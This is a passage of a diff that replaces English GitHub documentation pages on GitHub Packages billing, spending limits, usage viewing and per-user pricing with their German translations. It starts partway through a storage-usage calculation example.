- 6,768 GB-Stunden / (744 Stunden pro Monat) = 9.0967 GB-Monate
At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB.
Am Ende des Monats rundet {% data variables.product.prodname_dotcom %} deine Speichernutzung auf das nächste MB. Daher würde deine Speichernutzung im März 9,097 GB betragen.
You can also use this calculation in the middle of a billing cycle, to estimate what your total usage might be for the month. For example, if you have an organization that uses {% data variables.product.prodname_team %}, which provides 2 GB of free storage, and you use 0 GB for the first 5 days of April, 1.5 GB for the following 10 days, and you plan to use 3 GB for the last 15 days of the billing cycle, your projected storage usage for the month would be:
Du kannst diese Berechnung auch mitten in einem Abrechnungszeitraum verwenden, um den Gesamtverbrauch für den Monat abzuschätzen. Wenn deine Organisation beispielsweise {% data variables.product.prodname_team %} verwendet, das 2 GB kostenlosen Speicher bereitstellt, und du an den ersten 5 Tagen im April 0 GB und an den folgenden 10 Tagen 1,5 GB verbrauchst und planst, 3 GB an den letzten 15 Tagen des Abrechnungszeitraums zu nutzen, sieht deine projizierte Speichernutzung für den Monat wie folgt aus:
- 0 GB x 5 days x (24 hours per day) = 0 GB-Hours
- 0.5 GB x 10 days x (24 hours per day) = 120 GB-Hours
- 3 GB x 15 days x (24 hours per day) = 1080 GB-Hours
- 0 GB-Hours + 120 GB-Hours + 1080 GB-Hours = 1200 total GB-Hours
- 1200 GB-Hours / (744 hours per month) = 1.6 GB-Months
- 0 GB × 5 Tage × (24 Stunden pro Tag) = 0 GB-Stunden
- 0,5 GB × 10 Tage × (24 Stunden pro Tag) = 120 GB-Stunden
- 3 GB × 15 Tage × (24 Stunden pro Tag) = 1.080 GB-Stunden
- 0 GB-Stunden + 120 GB-Stunden + 1.080 GB-Stunden = 1.200 GB-Stunden
- 1\.200 GB-Stunden / (744 Stunden pro Monat) = 1,6 GB-Monate
The projected 1.6 GB of storage usage for the month would not exceed your 2 GB limit, even though your actual storage amount briefly exceeded 2 GB.
Die projizierte Speichernutzung von 1,6 GB für den Monat würde dein Limit von 2 GB nicht überschreiten, obwohl deine tatsächliche Speichermenge kurz 2 GB überschritten hat.
Your {% data variables.product.prodname_registry %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %}
Deine {% data variables.product.prodname_registry %}-Nutzung teilt das bestehende Rechnungsdatum, die Zahlungsmethode und die Quittung. {% data reusables.dotcom_billing.view-all-subscriptions %}
{% data reusables.user-settings.context_switcher %}
## About spending limits
## Über Ausgabenlimits
{% data reusables.package_registry.packages-spending-limit-detailed %}
To prevent exceeding your spending limit, {% data variables.product.prodname_dotcom %} checks your storage consumption continuously throughout the month by looking at your current usage and calculating what your projected usage will be at the end of the month if no changes are made before that time. If at any point during the billing cycle your projected monthly usage exceeds your spending limit, both {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} will be disabled to prevent overages.
Um eine Überschreitung deines Ausgabenlimits zu verhindern, überprüft {% data variables.product.prodname_dotcom %} deinen Speicherverbrauch fortlaufend über den ganzen Monat, indem es deinen aktuellen Verbrauch betrachtet und berechnet, wie hoch dein projizierter Verbrauch am Ende des Monats sein wird, wenn vor diesem Zeitpunkt keine Änderungen vorgenommen werden. Wenn dein projizierter monatlicher Verbrauch zu irgendeinem Zeitpunkt während des Abrechnungszeitraums dein Ausgabenlimit überschreitet, werden {% data variables.product.prodname_registry %} und {% data variables.product.prodname_actions %} deaktiviert, um Überschreitungen zu verhindern.
You should set a spending limit that will cover your maximum projected storage usage at any given point in the billing cycle. For example, imagine you have an organization that uses {% data variables.product.prodname_team %}, and you set a spending limit of $50 USD. {% data variables.product.prodname_team %} provides 2 GB of free storage. For any storage you use over that amount, {% data variables.product.prodname_dotcom %} will charge $0.008 USD per GB per day, or approximately $0.25 USD per GB for a 31-day month. That means the $50 spending limit you set will pay for an extra 200 GB of storage in that period. If on day ten of the billing cycle you reach 202 GB of storage, the next push of a package or {% data variables.product.prodname_actions %} artifact will fail, because you have reached the maximum storage amount that can be paid for by your spending limit in this billing cycle, even if your average consumption for the period is below 202 GB.
Du solltest ein Ausgabenlimit festlegen, das deinen maximalen projizierten Speicherverbrauch zu einem bestimmten Zeitpunkt im Abrechnungszeitraum abdeckt. Stelle dir beispielsweise vor, du hast eine Organisation, die {% data variables.product.prodname_team %} verwendet, und legst ein Ausgabenlimit von 50 USD fest. {% data variables.product.prodname_team %} bietet 2 GB kostenlosen Speicher. Für den darüber hinaus gehenden Speicherbedarf berechnet {% data variables.product.prodname_dotcom %} 0,008 USD pro GB pro Tag oder etwa 0,25 USD pro GB für einen Monat mit 31 Tagen. Das bedeutet, dass das von dir festgelegte Ausgabenlimit von 50 USD für zusätzliche 200 GB Speicher in diesem Zeitraum ausreicht. Wenn du am zehnten Tag des Abrechnungszeitraums 202 GB Speicher erreichst, führt der nächste Push eines Pakets oder {% data variables.product.prodname_actions %}-Artefakts zu einem Fehler, da du die maximale Speichermenge erreicht hast, die mit deinem Ausgabenlimit in diesem Abrechnungszeitraum bezahlt werden kann, auch wenn dein durchschnittlicher Verbrauch für diesen Zeitraum unter 202 GB liegt.
To avoid reaching your spending limit in the current billing cycle, you can delete some of your current storage usage to free up projected usage for the rest of the month. This method is more effective toward the beginning of a billing cycle. The closer you get to the end of a billing cycle, the less impact this method will have on projected monthly usage.
Um das Erreichen deines Ausgabenlimits im aktuellen Abrechnungszeitraum zu vermeiden, kannst du einen Teil deines aktuellen Speicherverbrauchs löschen, um projizierten Verbrauch für den Rest des Monats freizugeben. Diese Methode ist besonders zu Beginn eines Abrechnungszeitraums effektiv. Je näher du dem Ende eines Abrechnungszeitraums kommst, desto geringer sind die Auswirkung dieser Methode auf den projizierten monatliche Verbrauch.
For more information about managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)."
Weitere Informationen zum Verwalten und Ändern des Ausgabenlimits deines Kontos findest du unter [Verwalten deines Ausgabenlimits für {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages).
{% data reusables.dotcom_billing.actions-packages-unpaid-account %}
{% data reusables.dotcom_billing.actions-packages-unpaid-account %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing your spending limit for GitHub Packages
intro: 'You can set a spending limit for {% data variables.product.prodname_registry %} usage.'
title: Dein Ausgabenlimit für GitHub Packages verwalten
intro: 'Du kannst ein Ausgabenlimit für {% data variables.product.prodname_registry %} festlegen.'
product: '{% data reusables.gated-features.packages %}'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-packages
@ -16,55 +16,48 @@ topics:
- Spending limits
- User account
shortTitle: Your spending limit
ms.openlocfilehash: 0919283804124e2e925793dd3d4969b80f46ed30
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '147884149'
---
## About spending limits for {% data variables.product.prodname_registry %}
## Über Ausgabenlimits für {% data variables.product.prodname_registry %}
{% data reusables.package_registry.packages-billing %}
{% data reusables.package_registry.packages-spending-limit-brief %}
{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_registry %} usage, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
{% data reusables.actions.actions-packages-set-spending-limit %} Weitere Informationen zu den Preisen für die Nutzung von {% data variables.product.prodname_registry %} findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages).
{% ifversion ghec %}
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
{% ifversion ghec %} Wenn du {% data variables.product.prodname_enterprise %} über ein Microsoft Enterprise Agreement erworben hast, kannst du deine Azure-Abonnement-ID mit deinem Unternehmenskonto verbinden, um die Nutzung von {% data variables.product.prodname_registry %} über die im Konto enthaltenen Beträge hinaus zu aktivieren und zu bezahlen. Weitere Informationen findest du unter [Verbinden eines Azure-Abonnements mit deinem Unternehmen](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise).
{% endif %}
As soon as you set a spending limit other than $0, you will be responsible for any existing overages in the current billing period. For example, if your organization uses {% data variables.product.prodname_team %}, does not allow overages, and publishes a new version of a private package that increases your storage usage for the month from 1.9GB to 2.1GB, publishing the version will use slightly more than the 2GB your product includes.
Sobald du ein anderes Ausgabenlimit als 0 $ festlegst, bist du für alle vorhandenen Überschreitungen im aktuellen Abrechnungszeitraum verantwortlich. Wenn Dein Unternehmen beispielsweise {% data variables.product.prodname_team %} verwendet, keine Überschreitungen zulässt, und Workflow-Artefakte erstellt, die Deinen Speicherverbrauch für den Monat von 1,9 GB auf 2,1 GB erhöht, wird die Veröffentlichung leicht mehr Speicher als die 2 GB nutzen, die Dein Produkt enthält.
Because you have not enabled overages, your next attempt to publish a version of the package will fail. You will not receive a bill for the 0.1GB overage that month. However, if you enable overages, your first bill will include the 0.1GB of existing overage for the current billing cycle, as well as any additional overages you accrue.
Da Du keine Überschreitungen zugelassen hast, wird Dein nächster Versuch, eine Version des Pakets zu veröffentlichen, fehlschlagen. Du wirst keine Rechnung für die Überschreitung um 0,1 GB für diesen Monat erhalten. Wenn du jedoch Überschreitungen aktivierst, enthält deine erste Rechnung die 0,1 GB Überschreitung des aktuellen Abrechnungszeitraums sowie alle weiteren hinzukommenden Überschreitungen.
## Managing the spending limit for {% data variables.product.prodname_registry %} for your personal account
## Verwalten des Ausgabenlimits für {% data variables.product.prodname_registry %} für dein persönliches Konto
Anyone can manage the spending limit for {% data variables.product.prodname_registry %} for their own personal account.
Jeder Benutzer kann das Ausgabenlimit für {% data variables.product.prodname_registry %} für sein eigenes persönliches Konto verwalten.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
{% data reusables.dotcom_billing.manage-spending-limit %}
{% data reusables.dotcom_billing.monthly-spending-limit %}
{% data reusables.dotcom_billing.update-spending-limit %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %}
## Managing the spending limit for {% data variables.product.prodname_registry %} for your organization
## Das Ausgabenlimit für {% data variables.product.prodname_registry %} für Deine Organisation verwalten
Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an organization.
Organisationsinhaber und Abrechnungsmanager können das Ausgabenlimit von {% data variables.product.prodname_registry %} für eine Organisation verwalten.
{% data reusables.organizations.billing-settings %}
{% data reusables.dotcom_billing.manage-spending-limit %}
{% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %}
{% data reusables.dotcom_billing.update-spending-limit %}
{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %} {% data reusables.dotcom_billing.update-spending-limit %}
{% ifversion ghec %}
## Managing the spending limit for {% data variables.product.prodname_registry %} for your enterprise account
## Das Ausgabenlimit für {% data variables.product.prodname_registry %} für Dein Enterprise-Konto verwalten
Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an enterprise account.
Enterprise-Inhaber und Abrechnungsmanager können das Ausgabenlimit von {% data variables.product.prodname_registry %} für ein Enterprise-Konto verwalten.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
1. Above "{% data variables.product.prodname_actions %} and Packages monthly usage", click **Spending Limit**.
![Spending limit tab](/assets/images/help/settings/spending-limit-tab-enterprise.png)
{% data reusables.dotcom_billing.monthly-spending-limit %}
{% data reusables.dotcom_billing.update-spending-limit %}
{% endif %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
1. Klicke oberhalb von „Monatliche Nutzung von {% data variables.product.prodname_actions %} und Paketen“ auf **Ausgabenlimit**.
![Registerkarte „Ausgabenlimit“](/assets/images/help/settings/spending-limit-tab-enterprise.png) {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %} {% endif %}
## Managing usage and spending limit email notifications
## Verwalten von E-Mail-Benachrichtigungen zur Nutzung und zum Ausgabenlimit
{% data reusables.billing.email-notifications %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Viewing your GitHub Packages usage
intro: 'You can view details of your usage of storage and data transfer for {% data variables.product.prodname_registry %}.'
title: Anzeigen der GitHub Packages-Nutzung
intro: 'Du kannst Details über Deine Nutzung von Speicher und Datenübertragung für {% data variables.product.prodname_registry %} anzeigen.'
product: '{% data reusables.gated-features.packages %}'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-packages-usage
@ -15,42 +15,36 @@ topics:
- Organizations
- User account
shortTitle: View your usage
ms.openlocfilehash: 98cce486487c5f8a3801852b6a2b4ce7fdeb210d
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '147060442'
---
## Viewing {% data variables.product.prodname_registry %} usage for your personal account
## Anzeigen der {% data variables.product.prodname_registry %}-Nutzung für dein persönliches Konto
Anyone can view {% data variables.product.prodname_registry %} usage for their own personal account.
Jeder Benutzer kann die Nutzung von {% data variables.product.prodname_registry %} für sein eigenes persönliches Konto anzeigen.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
{% data reusables.dotcom_billing.packages-data %}
{% data reusables.dotcom_billing.actions-packages-storage %}
{% data reusables.dotcom_billing.actions-packages-report-download %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.packages-data %} {% data reusables.dotcom_billing.actions-packages-storage %} {% data reusables.dotcom_billing.actions-packages-report-download %}
## Viewing {% data variables.product.prodname_registry %} usage for your organization
## {% data variables.product.prodname_registry %}-Nutzung für Deine Organisation anzeigen
Organization owners and billing managers can view {% data variables.product.prodname_registry %} usage for an organization. For organizations managed by an enterprise account, only the organization owners can view {% data variables.product.prodname_registry %} usage in the organization billing page.
Organisationsinhaber und Abrechnungsmanager können die Nutzung von {% data variables.product.prodname_registry %} für eine Organisation anzeigen. Für Organisationen, die von einem Unternehmenskonto verwaltet werden, können nur die Organisationsinhaber die {% data variables.product.prodname_registry %}-Nutzung auf der Abrechnungsseite der Organisation anzeigen.
{% data reusables.organizations.billing-settings %}
{% data reusables.dotcom_billing.packages-data %}
{% data reusables.dotcom_billing.actions-packages-storage %}
{% data reusables.dotcom_billing.actions-packages-report-download-org-account %}
{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.packages-data %} {% data reusables.dotcom_billing.actions-packages-storage %} {% data reusables.dotcom_billing.actions-packages-report-download-org-account %}
{% ifversion ghec %}
## Viewing {% data variables.product.prodname_registry %} usage for your enterprise account
## {% data variables.product.prodname_registry %}-Nutzung für Dein Enterprise-Konto anzeigen
Enterprise owners and billing managers can view {% data variables.product.prodname_registry %} usage for an enterprise account.
Enterprise-Inhaber und Abrechnungsmanager können die Nutzung von {% data variables.product.prodname_registry %} für ein Enterprise-Konto anzeigen.
{% note %}
**Note:** Billing details for enterprise accounts only summarize the storage data usage per organization. {% data reusables.actions.enterprise-billing-details %}
**Hinweis:** In den Abrechnungsdetails für Unternehmenskonten wird nur die Datenspeichernutzung pro Organisation zusammengefasst. {% data reusables.actions.enterprise-billing-details %}
{% endnote %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.billing-tab %}
1. Under "{% data variables.product.prodname_registry %}", view details of usage of data transfer by each organization in your enterprise account.
![Details of usage of data transfer](/assets/images/help/billing/packages-data-enterprise.png)
{% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %}
{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %}
{% endif %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
1. Unter „{% data variables.product.prodname_registry %}" siehst Du die Details der Nutzung der Datenübertragung für jede Organisation in Deinem Enterprise-Konto.
![Details der Nutzung der Datenübertragung](/assets/images/help/billing/packages-data-enterprise.png) {% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %} {% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: About per-user pricing
intro: '{% ifversion fpt or ghec %}For organizations{% ifversion ghec %} and enterprises{% endif %}, your {% else %}Your {% endif %}bill begins with the number of licensed seats you choose.'
title: Informationen zur benutzerabhängigen Preisgestaltung
intro: '{% ifversion fpt or ghec %}Für Organisationen{% ifversion ghec %} und Unternehmen{% endif %} beginnt deine {% else %}Deine {% endif %}Rechnung beginnt mit der Anzahl lizenzierter Arbeitsplätze, die du auswählst.'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/about-per-user-pricing
- /articles/about-per-user-pricing
@ -15,141 +15,144 @@ topics:
- Enterprise
- Licensing
- Organizations
ms.openlocfilehash: 16de23fa922a593bb03fedcb7f902822cffce7f9
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106669'
---
## About per-user pricing
## Informationen zur benutzerabhängigen Preisgestaltung
{% ifversion fpt %}
New organizations on {% data variables.product.prodname_dotcom_the_website %} can build public and open-source projects with {% data variables.product.prodname_free_team %}, or upgrade to a paid product with per-user pricing. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)."
Neue Organisationen auf {% data variables.product.prodname_dotcom_the_website %} können öffentliche und Open-Source-Projekte mit {% data variables.product.prodname_free_team %} erstellen oder ein Upgrade auf ein kostenpflichtiges Produkt mit benutzerspezifischen Preisen durchführen. Weitere Informationen findest du unter [{% data variables.product.company_short %}-Produkte](/get-started/learning-about-github/githubs-products) und unter [Durchführen eines Upgrades für dein {% data variables.product.prodname_dotcom %}-Abonnement](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription).
Organizations using a paid subscription before May 11, 2016 can choose to stay on their existing per-repository plan or switch to per-user pricing. {% data variables.product.company_short %} will notify you twelve months before any mandated change to your subscription. For more information on switching your subscription, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)."
Organisationen mit einem kostenpflichtigen Abonnement vor dem 11. Mai 2016 können wählen, ob sie an ihrem bestehenden Abrechnungsplan pro Repository festhalten oder zu einer benutzerabhängigen Preisgestaltung wechseln möchten. {% data variables.product.company_short %} benachrichtigt dich zwölf Monate vor einer vorgeschriebenen Änderung an deinem Abonnement. Weitere Informationen zum Wechseln deines Abonnements findest du unter [Durchführen eines Upgrades für dein {% data variables.product.prodname_dotcom %}-Abonnement](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription).
{% else %}
The foundation of your bill is the number of standard licensed seats that you choose for your{% ifversion ghec %} organization or{% endif %} enterprise.
Die Grundlage deiner Rechnung ist die Anzahl der standardmäßig lizenzierten Arbeitsplätze, die du für deine{% ifversion ghec %} Organisation oder dein {% endif %} Unternehmen auswählst.
{% data reusables.enterprise-licensing.unique-user-licensing-model %}
To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} environments. For more information, see "[About licenses for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)."
Damit dieselben Benutzer*innen nicht mehr als eine Lizenz für mehrere Enterprise-Bereitstellungen verbrauchen, kannst du die Lizenznutzung zwischen deinen {% data variables.product.prodname_ghe_server %}- und {% data variables.product.prodname_ghe_cloud %}-Umgebungen synchronisieren. Weitere Informationen findest du unter [Informationen zu Lizenzen für GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise).
In addition to licensed seats, your bill may include other charges, such as {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)."
Zusätzlich zu lizenzierten Arbeitsplätzen kann enthält deine Rechnung möglicherweise weitere Gebühren, z. B. {% data variables.product.prodname_GH_advanced_security %}. Weitere Informationen findest du unter [Informationen zur Abrechnung für ein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise).
{% endif %}
## People that consume a license
## Personen, die eine Lizenz nutzen
{% ifversion fpt %}
{% data variables.product.company_short %} bills for the following people:
In {% data variables.product.company_short %} fallen Kosten für die folgenden Personen an:
- Organization members, including owners
- Outside collaborators on private repositories owned by your organization, excluding forks
- Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks
- Dormant users
- Mitglieder der Organisation, einschließlich der Besitzer
- Externe Mitwirkende an privaten Repositorys, die deiner Organisation gehören (ausgenommen Forks)
- Alle Personen mit einer ausstehenden Einladung zur Mitarbeit an privaten oder internen Repositorys, die deiner Organisation gehören (ausgenommen Forks)
- Inaktive Benutzer
{% note %}
**Notes:**
- {% data variables.product.company_short %} counts each outside collaborator once for billing purposes, even if the user account has access to multiple repositories owned by your organization.
**Hinweise:**
- {% data variables.product.company_short %} zählt jeden externen Projektmitarbeiter nur einmal für die Abrechnung, auch wenn das Benutzerkonto Zugriff auf mehrere Repositorys im Besitz deiner Organisation hat.
- {% data reusables.organizations.org-invite-scim %}
{% endnote %}
{% data variables.product.company_short %} does not bill for the following people:
Für die folgenden Personen fallen in {% data variables.product.company_short %} keine Kosten an:
- Billing managers
- Anyone with a pending invitation to become a billing manager
- Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization
- Abrechnungsmanager
- Alle Personen mit einer ausstehenden Einladung, Abrechnungsmanager zu werden
- Alle Personen mit einer ausstehenden Einladung zur Mitarbeit an einem öffentlichen Repository, das deiner Organisation gehört
{% else %}
{% data variables.product.company_short %} bills for the following accounts for each deployment of {% data variables.product.prodname_enterprise %}.
In {% data variables.product.company_short %} fallen für jede Bereitstellung von {% data variables.product.prodname_enterprise %} Kosten für die folgenden Konten an.
### Accounts that consume a license on {% data variables.product.prodname_ghe_cloud %}
### Konten, die eine Lizenz für {% data variables.product.prodname_ghe_cloud %} nutzen
{% data variables.product.company_short %} bills for each of the following accounts on {% data variables.product.prodname_ghe_cloud %}:
In {% data variables.product.company_short %} werden für {% data variables.product.prodname_ghe_cloud %} Gebühren für jedes der folgenden Konten berechnet:
- Enterprise owners who are a member or owner of at least one organization in the enterprise
- Organization members, including owners
- Outside collaborators on private or internal repositories owned by your organization, excluding forks
- Dormant users
- Unternehmensbesitzer, die Mitglied oder Besitzer mindestens einer Organisation im Unternehmen sind
- Mitglieder der Organisation, einschließlich der Besitzer
- Externe Mitwirkende an privaten oder internen Repositorys, die deiner Organisation gehören (ausgenommen Forks)
- Inaktive Benutzer
If your enterprise does not use {% data variables.product.prodname_emus %}, you will also be billed for each of the following accounts:
Wenn dein Unternehmen {% data variables.product.prodname_emus %} nicht verwendet, werden auch die folgenden Konten in Rechnung gestellt:
- Anyone with a pending invitation to become an organization owner or member
- Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks
- Alle Personen mit einer ausstehenden Einladung, Besitzer oder Mitglied einer Organisation zu werden
- Alle Personen mit einer ausstehenden Einladung zur Mitarbeit an privaten oder internen Repositorys, die deiner Organisation gehören (ausgenommen Forks)
{% note %}
**Notes:**
- {% data variables.product.company_short %} counts each member or outside collaborator once for billing purposes, even if the user account has membership in multiple organizations in an enterprise or access to multiple repositories owned by your organization.
**Hinweise:**
- {% data variables.product.company_short %} zählt jedes Mitglied oder jeden externen Projektmitarbeiter nur einmal für die Abrechnung, auch wenn das Benutzerkonto Mitglied in mehreren Organisationen eines Unternehmens ist oder Zugriff auf mehrere Repositorys im Besitz deiner Organisation hat.
- {% data reusables.organizations.org-invite-scim %}
{% endnote %}
{% data variables.product.company_short %} does not bill for any of the following accounts:
Für die folgenden Konten fallen in {% data variables.product.company_short %} keine Kosten an:
- {% data variables.enterprise.prodname_managed_users_caps %} that are suspended
- Enterprise owners who are not a member or owner of at least one organization in the enterprise
- Enterprise billing managers
- Billing managers for individual organizations
- Anyone with a pending invitation to become a billing manager
- Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization
- {% data variables.enterprise.prodname_managed_users_caps %}, die gesperrt wurden
- Unternehmensbesitzer, die nicht Mitglied oder Besitzer mindestens einer Organisation im Unternehmen sind
- Unternehmensabrechnungsmanager
- Abrechnungsmanager für einzelne Organisationen
- Alle Personen mit einer ausstehenden Einladung, Abrechnungsmanager zu werden
- Alle Personen mit einer ausstehenden Einladung zur Mitarbeit an einem öffentlichen Repository, das deiner Organisation gehört
### Accounts that consume a license on {% data variables.product.prodname_ghe_server %}
### Konten, die eine Lizenz für {% data variables.product.prodname_ghe_server %} nutzen
Each user account on {% data variables.product.prodname_ghe_server %} consumes a seat.
Für jedes Benutzerkonto in {% data variables.product.prodname_ghe_server %} wird ein Arbeitsplatz benötigt.
Suspended users are not counted when calculating the number of licensed users consuming seats. For more information, see "[Suspending and unsuspending users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
Gesperrte Benutzer werden beim Berechnen der Anzahl der lizenzierten Benutzer, die Arbeitsplätze beanspruchen, nicht mitgezählt. Weitere Informationen findest du unter [Sperren und Entsperren von Benutzern]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users){% ifversion not ghes %} in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.{% else %}.{% endif %}
Dormant users do occupy a seat license. As such, you can choose to suspend dormant users to release user licenses. For more information, see "[Managing dormant users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
Ruhende Benutzer belegen eine Arbeitsplatzlizenz. Du kannst also ruhende Benutzer sperren, um Benutzerlizenzen freizugeben. Weitere Informationen findest du unter [Verwalten ruhender Benutzer]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users){% ifversion not ghes %} in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.{% else %}.{% endif %}
{% endif %}
## About changes to your subscription
## Informationen zu Änderungen an deinem Abonnement
{% ifversion fpt %}
You can change your {% data variables.product.prodname_dotcom %} subscription at any time.
Du kannst dein {% data variables.product.prodname_dotcom %}-Abonnement jederzeit ändern.
### About changes for organizations on per-user plans
### Informationen zu Änderungen für Organisationen an Plänen pro Benutzer
{% endif %}
You can add more licensed seats to your {% ifversion fpt or ghec %} organization{% endif %}{% ifversion ghec %} or{% endif %}{% ifversion ghec or ghes %} enterprise{% endif %} at any time. If you pay for more seats than are being used, you can also reduce the number of seats.{% ifversion fpt %} For more information, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)" and "[Downgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)."
Du kannst jederzeit weitere lizenzierte Arbeitsplätze deiner {% ifversion fpt or ghec %} Organisation{% endif %}{% ifversion ghec %} oder{% endif %}{% ifversion ghec or ghes %} deinem Unternehmen hinzufügen{% endif %}. Wenn du für mehr Arbeitsplätze bezahlst als derzeit genutzt werden, kannst du auch die Anzahl der Arbeitsplätze verringern.{% ifversion fpt %} Weitere Informationen findest du unter [Durchführen eines Upgrades für dein {% data variables.product.prodname_dotcom %}-Abonnement](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription) und unter [Durchführen eines Downgrades für dein {% data variables.product.prodname_dotcom %}-Abonnement](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription).
If you have questions about your subscription, contact {% data variables.contact.contact_support %}.
Bei Fragen zum Abonnement wende dich an den {% data variables.contact.contact_support %}.
To further support your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like SAML single sign-on and advanced auditing. {% data reusables.enterprise.link-to-ghec-trial %}
Um die Möglichkeiten zur Zusammenarbeit in deinem Team weiter zu unterstützen, kannst du ein Upgrade auf {% data variables.product.prodname_ghe_cloud %} durchführen, um in den Genuss von Features wie SAML-gestütztes einmaliges Anmelden und erweiterte Überwachung für private Repositorys zu kommen. {% data reusables.enterprise.link-to-ghec-trial %}
For more information about per-user pricing for {% data variables.product.prodname_ghe_cloud %}, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing).
